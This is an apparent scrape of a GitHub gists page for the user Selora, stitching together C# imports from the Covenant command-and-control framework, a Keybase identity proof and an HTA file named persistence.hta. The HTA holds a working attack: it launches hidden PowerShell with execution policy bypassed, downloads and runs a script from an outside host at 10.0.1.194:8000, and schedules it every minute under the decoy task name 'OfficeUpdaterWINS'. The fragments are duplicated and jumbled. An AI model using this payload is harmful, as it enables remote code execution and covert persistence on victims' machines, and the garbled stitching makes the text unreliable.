Sebastien Lorrain Selora

## GruntInteract.razor.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using Covenant.Core;
using Covenant.Models.Grunts;
using Covenant.Models.Covenant;
using Covenant.Components.GruntTaskings;
using Microsoft.AspNetCore.Components;
using Microsoft.JSInterop;

## keybase.md

      
              1 file
            
          
              0 forks
            
          
                0 comments
              
            
              0 stars
            
          
                Selora
                / keybase.md
            
            
              Created
              October 12, 2018 15:53
            
          
    Keybase proof

I hereby claim:

I am selora on github.
I am selora (https://keybase.io/selora) on keybase.
I have a public key ASCluRA3naxNxPjyWiiXUdwIo84J_sBuIGOSaluOyTyL1go

To claim this, I am signing this object:

  
## persistence.hta
<html>
		<head>
				<script>
						psh_payload = "C:\\windows\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe -win hidden -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring('''http://10.0.1.194:8000/eed1'''))'";
						str = 'schtasks /create /sc MINUTE /tn OfficeUpdaterWINS /tr "' + psh_payload;
						new ActiveXObject('WScript.Shell').Run(str);
				</script>
		</head>

		<body>
	using System;
	using System.Collections.Generic;
	using System.Linq;
	using System.Threading.Tasks;
	using Covenant.Core;
	using Covenant.Models.Grunts;
	using Covenant.Models.Covenant;
	using Covenant.Components.GruntTaskings;
	using Microsoft.AspNetCore.Components;
	using Microsoft.JSInterop;
	<html>
	<head>
	<script>
	psh_payload = "C:\\windows\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe -win hidden -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring('''http://10.0.1.194:8000/eed1'''))'";
	str = 'schtasks /create /sc MINUTE /tn OfficeUpdaterWINS /tr "' + psh_payload;
	new ActiveXObject('WScript.Shell').Run(str);
	</script>
	</head>

	<body>